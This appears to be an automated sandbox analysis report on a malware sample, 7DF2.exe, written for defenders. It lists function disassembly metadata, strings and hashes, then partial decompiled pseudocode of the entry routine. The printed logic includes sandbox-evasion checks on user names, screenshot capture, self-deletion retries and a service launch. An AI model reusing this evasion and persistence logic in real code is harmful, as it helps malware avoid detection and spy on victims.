Opcode Fuzzy Hash: 5b3162986c4697fce1e4430f1fba1209b6d5023a89b600246d1f2fec9312381a
Instruction Fuzzy Hash: 64F0FEB2901229BACB01ABD69D459DF7BBCEF0574CF100066F501A2142E6B95B008BF6

Uniqueness

Uniqueness Score: -1.00%

Function 00472506, Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00472512

Part of subcall function 004702AD: __getptd_noexit.LIBCMT ref: 004702B0
Part of subcall function 004702AD: __amsg_exit.LIBCMT ref: 004702BD

__getptd.LIBCMT ref: 00472529
__amsg_exit.LIBCMT ref: 00472537
__lock.LIBCMT ref: 00472547
__updatetlocinfoEx_nolock.LIBCMT ref: 0047255B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: cfe99f6b6122d13a720520f0379b7811e57b010896ee0668d818ea5ad693cd6b
Instruction ID: 64ac73c3bdd66361e25beef97566af3f74c45f5865eb45701def4ea8de851fff
Opcode Fuzzy Hash: cfe99f6b6122d13a720520f0379b7811e57b010896ee0668d818ea5ad693cd6b
Instruction Fuzzy Hash: A0F0F672D01610AAD720B7A6AA13B8E33A06F00728F10C19FF81C672D2DBAC59008A5E

Uniqueness

Uniqueness Score: -1.00%

Function 0044C675, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044C702

Strings

no such savepoint: %s, xrefs: 0044C79E
cannot release savepoint - SQL statements in progress, xrefs: 0044C7C9
cannot open savepoint - SQL statements in progress, xrefs: 0044C697

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID: cannot open savepoint - SQL statements in progress$cannot release savepoint - SQL statements in progress$no such savepoint: %s
API String ID: 4104443479-3151731220
Opcode ID: 595ddc83f52e6138207490c5cbcb59ab9ee7995435dccf3340a005bea55488b8
Instruction ID: 696a1763685bd86d2e1e7132c5c29d9e78f5c945e75b27bb27af7aa87dcef08f
Opcode Fuzzy Hash: 595ddc83f52e6138207490c5cbcb59ab9ee7995435dccf3340a005bea55488b8
Instruction Fuzzy Hash: 20D12A71900716DFEB64CF69C881BA9B7F1BB44314F24416BD459AB342DB34AD81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0045605E, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 0042407E: _memset.LIBCMT ref: 0042409D

_memmove.LIBCMT ref: 00456159

Strings

Cannot add a column to a view, xrefs: 004560AE
virtual tables may not be altered, xrefs: 00456098
sqlite_altertab_%s, xrefs: 0045612B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove_memset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 3555123492-2063813899
Opcode ID: cdf4cd13ccab5c872140c9c2590c24440518c0273d59a2df2b42b8ff21c34bc6
Instruction ID: 83164c4f9b6ac61f70b3ed300c70f2fb16a3a09eefacaeb4025e2fb84d5ba1ec
Opcode Fuzzy Hash: cdf4cd13ccab5c872140c9c2590c24440518c0273d59a2df2b42b8ff21c34bc6
Instruction Fuzzy Hash: 0A51A172A00615AFDB10DF69C8417A9BBF0FF08315F51406BEC04DB292EB79EA51CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0042A42A, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0042A46D
_memmove.LIBCMT ref: 0042A485

Strings

winWrite2, xrefs: 0042A532
winWrite1, xrefs: 0042A581

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID: winWrite1$winWrite2
API String ID: 4104443479-3457389245
Opcode ID: deb3674cd7f5e09482d484a331c5d6495a61673547013303eb4ea9d413472493
Instruction ID: 53d92ad17f1ac65ed845f9d8921504c71b3fe1cac8b846b55d436c84df73d209
Opcode Fuzzy Hash: deb3674cd7f5e09482d484a331c5d6495a61673547013303eb4ea9d413472493
Instruction Fuzzy Hash: D8419071A00219EBCF00DF94DC8569E77B1FF04314F64856AED00A7240D374DAA5CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A597, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042A5C3

Strings

winTruncate1, xrefs: 0042A638
winSeekFile, xrefs: 0042A619
winTruncate2, xrefs: 0042A66E

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: winSeekFile$winTruncate1$winTruncate2
API String ID: 885266447-2471937615
Opcode ID: 1c8d9ab361d10f395408155b561f57eafaf3d01c2bd75864c8d316e401506e8b
Instruction ID: 642872cf144292ce380656267c1caa355662be5d6ecceb4d4d646ed668637c1d
Opcode Fuzzy Hash: 1c8d9ab361d10f395408155b561f57eafaf3d01c2bd75864c8d316e401506e8b
Instruction Fuzzy Hash: 8531D471700700AFDB20DF64D981A6B73E5EB48354F58852EFA56C7780D734EC108B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0046A70D, Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0046A7A8
__flush.LIBCMT ref: 0046A7C6
__write.LIBCMT ref: 0046A7ED
__flsbuf.LIBCMT ref: 0046A818

Part of subcall function 0046DC1D: __getptd_noexit.LIBCMT ref: 0046DC1D

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 942dbabadbfdfae57a7228a6fec992bbcd9bf710ad7a599f01ff3c3f9f765826
Instruction ID: 99fd477ee49c171c5577050ce4ac4873b8c1395194221a09395d197efb4badea
Opcode Fuzzy Hash: 942dbabadbfdfae57a7228a6fec992bbcd9bf710ad7a599f01ff3c3f9f765826
Instruction Fuzzy Hash: F341B631A00B04DBDB249F66888565FBBB5EF80355F24812FE415A7240F778ED628F5B

Uniqueness

Uniqueness Score: -1.00%

Function 0047C5EA, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0047C61E
__isleadbyte_l.LIBCMT ref: 0047C651
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000,?,?,?,00000000,?,00000000), ref: 0047C682
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000,?,?,?,00000000,?,00000000), ref: 0047C6F0

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 1f9a13d97f9ff9e9d371f6cdf497ec24dd392e21f3422c53df5f7505a3ba407a
Instruction ID: b4561495634a5b0c3006078bdcec14c795380a58e59b8f9e8402e2d7b0702795
Opcode Fuzzy Hash: 1f9a13d97f9ff9e9d371f6cdf497ec24dd392e21f3422c53df5f7505a3ba407a
Instruction Fuzzy Hash: 9B319D31A00256EFDF20DF68C8C09FE3BA5AF01311B15C56EE4699B291E734DD41DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004600B7, Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 004600CE
_malloc.LIBCMT ref: 004600E1
_free.LIBCMT ref: 00460163

Part of subcall function 00469CC4: RtlFreeHeap.NTDLL(00000000,00000000,?,0047029E,00000000,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 00469CDA
Part of subcall function 00469CC4: GetLastError.KERNEL32(00000000,?,0047029E,00000000,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 00469CEC

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: EncodersErrorFreeGdipHeapImageLastSize_free_malloc
String ID:
API String ID: 34177290-0
Opcode ID: 2aed0e7672fb0a96efddfcfca89bf857d5c40103165effc137df2a4d6f00dbdc
Instruction ID: 2d56ff54f79681364d4f5e1a6a65b0e72e6f3bb7c281cecae8ca0d54260d2aa5
Opcode Fuzzy Hash: 2aed0e7672fb0a96efddfcfca89bf857d5c40103165effc137df2a4d6f00dbdc
Instruction Fuzzy Hash: C8218E72D00128EACB21DFA488804EFB779EF26764B214657E82067391F7379E41DA96

Uniqueness

Uniqueness Score: -1.00%

Function 0047C4D7, Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(00000000,00473DAD,00000000,00000000,74B05970,?,00469EDB,0040FD3B,00000000,?,?,?,?,?,?,00000000), ref: 0047C4DA
__malloc_crt.LIBCMT ref: 0047C509
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,00000000,?,00469EDB,0040FD3B,00000000,?,?,?,?,?,?,00000000,74B481D0), ref: 0047C516

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: 2be7cd3326a088ed2a088b669b77e5926a236439420ce32b0bde0539deb32a61
Instruction ID: c9f8133cabd6fc53cb03a4f754deabf1a4e7ee2ab1e7ae05eb5789f7ed8208f2
Opcode Fuzzy Hash: 2be7cd3326a088ed2a088b669b77e5926a236439420ce32b0bde0539deb32a61
Instruction Fuzzy Hash: B0F02E775041206A8F317B34BCC98EB1738CBD576531AC41FF805C3340F6298E8283AA

Uniqueness

Uniqueness Score: -1.00%

Function 00460290, Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004602AB
GetFileSizeEx.KERNEL32(00000000,?), ref: 004602C3
CloseHandle.KERNEL32(00000000), ref: 004602CE
CloseHandle.KERNEL32(00000000), ref: 004602D6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 52ee9af0e4d272adebe8ceddfa3e02de93de0e35db65c026b63c00b4c1fbe4a7
Instruction ID: 3929fc40e37e5bf832a2161d2b7940c379898db2911504cee8344e2643e5e6dd
Opcode Fuzzy Hash: 52ee9af0e4d272adebe8ceddfa3e02de93de0e35db65c026b63c00b4c1fbe4a7
Instruction Fuzzy Hash: 08F05E31640214FBE6109B64DC0DF9F3B68AB06B61F204665FA12B22D4F770AF01866E

Uniqueness

Uniqueness Score: -1.00%

Function 00460616, Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

numpunct.LIBCPMT ref: 00460619
__CxxThrowException@8.LIBCMT ref: 00460622

Part of subcall function 00467D41: RaiseException.KERNEL32(?,?,00402DB8,?,?,?,?,?,00402DB8,?,00495EC8,00000000), ref: 00467D83

GdipCloneImage.GDIPLUS(00000000,00000000), ref: 0046063A
GdipAlloc.GDIPLUS(00000010,00000000,00000000), ref: 00460648

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Gdip$AllocCloneExceptionException@8ImageRaiseThrownumpunct
String ID:
API String ID: 2212125544-0
Opcode ID: 6e1dc8eeb764baa256507b6392ac2f48d3a763622a5971c53bb621712d151485
Instruction ID: 1c918faf767dcd049ce9fe58c869e3565db8942579907732b7633133e67ba1f9
Opcode Fuzzy Hash: 6e1dc8eeb764baa256507b6392ac2f48d3a763622a5971c53bb621712d151485
Instruction Fuzzy Hash: E0F054B1500305AFDB149F51CD42A6B77ECEF40348F14846EAD0557251FB78ED00C65A

Uniqueness

Uniqueness Score: -1.00%

Function 0044E1EA, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044E395

Strings

too many levels of trigger recursion, xrefs: 0044E233
out of memory, xrefs: 0044F03A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset
String ID: out of memory$too many levels of trigger recursion
API String ID: 2102423945-3387558265
Opcode ID: e817613e6b9cdfc81c0aad5d4f867e4cefc41331d9d1ba63d486cbade4a42b18
Instruction ID: 6d9d8018e0c231eadf151d56a280d363aa50e131c240ac9881285ff8efbf5509
Opcode Fuzzy Hash: e817613e6b9cdfc81c0aad5d4f867e4cefc41331d9d1ba63d486cbade4a42b18
Instruction Fuzzy Hash: E7814AB5A04615DFDB28CF15D490B99BBB1FF48300F2481AED84A9B786DB34E851CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00404591, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004045D6
_memmove.LIBCMT ref: 00404607

Strings

string too long, xrefs: 004045D1

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: a3dfb1709d0e31f4bcb7a7c4ae2b0e0c5da20004b10f48f7df713a6b74cde6aa
Instruction ID: 90df72f4bc0cd57feeb466dfa3493a57e8c7debaaf21933f7ddf2ac7252c12c6
Opcode Fuzzy Hash: a3dfb1709d0e31f4bcb7a7c4ae2b0e0c5da20004b10f48f7df713a6b74cde6aa
Instruction Fuzzy Hash: E6119371304650ABD6349E2D895092BB7E5EFC1704B140E3FB282672C1DB79D805876A

Uniqueness

Uniqueness Score: -1.00%

Function 00462489, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00462490
std::_Xinvalid_argument.LIBCPMT ref: 004624A7

Part of subcall function 00466492: std::exception::exception.LIBCMT ref: 004664A7
Part of subcall function 00466492: __CxxThrowException@8.LIBCMT ref: 004664BC
Part of subcall function 00466492: std::exception::exception.LIBCMT ref: 004664CD

Strings

vector<T> too long, xrefs: 004624A2

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::exception::exception$Exception@8H_prolog3_catchThrowXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 1877048013-3788999226
Opcode ID: 7b9f98c63b0a25da4181186446a22d04b89eedb6aba451d1494b0826d23661e0
Instruction ID: f67b13cd1f7c64a3ea541d0528415707fec555d4af96195ef9ba46ad37928bda
Opcode Fuzzy Hash: 7b9f98c63b0a25da4181186446a22d04b89eedb6aba451d1494b0826d23661e0
Instruction Fuzzy Hash: FB113A76200700BFC720EF69CD81E1ABBE5EF44700F10882FF58587241EAB5E950CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404249, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 0045F3B7: GetUserNameA.ADVAPI32(?,?), ref: 0045F3EC

ExitProcess.KERNEL32 ref: 004042CA

Strings

JohnDoe, xrefs: 0040426E
HAL9TH, xrefs: 004042A5

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitNameProcessUser
String ID: HAL9TH$JohnDoe
API String ID: 282088302-3469431008
Opcode ID: 9c4a05cbca9e4971742319d63c9630c54ff4adc095b710f6e13af260675afc9e
Instruction ID: a44788af027f9dd1aff2a21de129c884005c5146174d01716b92837e19f9833c
Opcode Fuzzy Hash: 9c4a05cbca9e4971742319d63c9630c54ff4adc095b710f6e13af260675afc9e
Instruction Fuzzy Hash: 9C01A9716452089FEB04EBA5D986FDD73A8EB09704F40047FF502B71E1DE789948C669

Uniqueness

Uniqueness Score: -1.00%

Function 0046016E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0045FF03: GdipAlloc.GDIPLUS(00000010,0046018A,?,00000000), ref: 0045FF05

Part of subcall function 004600B7: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 004600CE

GdipSaveImageToFile.GDIPLUS(?,screenshot.jpg,?,00000000), ref: 004601AB

Strings

image/jpeg, xrefs: 00460190
screenshot.jpg, xrefs: 004601A3

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Gdip$Image$AllocEncodersFileSaveSize
String ID: image/jpeg$screenshot.jpg
API String ID: 2572949680-3715547155
Opcode ID: b0517da4fb1eaaba302a9684bffc3c6f08a1d6dfe89aa7a4805665cada2cec43
Instruction ID: 7a57e75ca1768edc6c65ef545af934658a787f414639848eab7f3a9d33611f74
Opcode Fuzzy Hash: b0517da4fb1eaaba302a9684bffc3c6f08a1d6dfe89aa7a4805665cada2cec43
Instruction Fuzzy Hash: 90F03671A10305ABDB10EB65CD42F9F77E89F14708F50006BF905DB291EB65A904CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00460310, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00460340
__CxxThrowException@8.LIBCMT ref: 00460355

Part of subcall function 00467CC1: _malloc.LIBCMT ref: 00467CDB

Strings

8-@, xrefs: 0046034E

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: 8-@
API String ID: 4063778783-2211411525
Opcode ID: 4162bb4bb925c475a9cc468d5079272aca68e220537e8841491e6e1aeebe2401
Instruction ID: 0df25e3d1f1bed0149a28c4af024d16b98eecca61c5793de9f239fe40cd15379
Opcode Fuzzy Hash: 4162bb4bb925c475a9cc468d5079272aca68e220537e8841491e6e1aeebe2401
Instruction Fuzzy Hash: B8E09B755106096BCF1CFB69D4516EF7BAC5F00749F10442FE801D5241FB78D644875E

Uniqueness

Uniqueness Score: -1.00%

Function 00462149, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00462150

Part of subcall function 00411E1C: __EH_prolog3.LIBCMT ref: 00411E23

Strings

H<@, xrefs: 0046217A
-#F, xrefs: 00462160

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3
String ID: -#F$H<@
API String ID: 431132790-830177581
Opcode ID: b6e1030403a70a675587aa562dbd9d912171b4e33ce7162f0704a40472f3b4d1
Instruction ID: f1a89b40ffa2e15e5409517ec97d96a03a3ae3c430ca20567ffcd6a2c48a8764
Opcode Fuzzy Hash: b6e1030403a70a675587aa562dbd9d912171b4e33ce7162f0704a40472f3b4d1
Instruction Fuzzy Hash: FCE0BF786002148FD710EF59C549A9CB7E0BF04308F45859EE9418B365DBB8DD05CB59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7DF2.exe PID: 3464 Parent PID: 3388 7DF2.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x5f && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
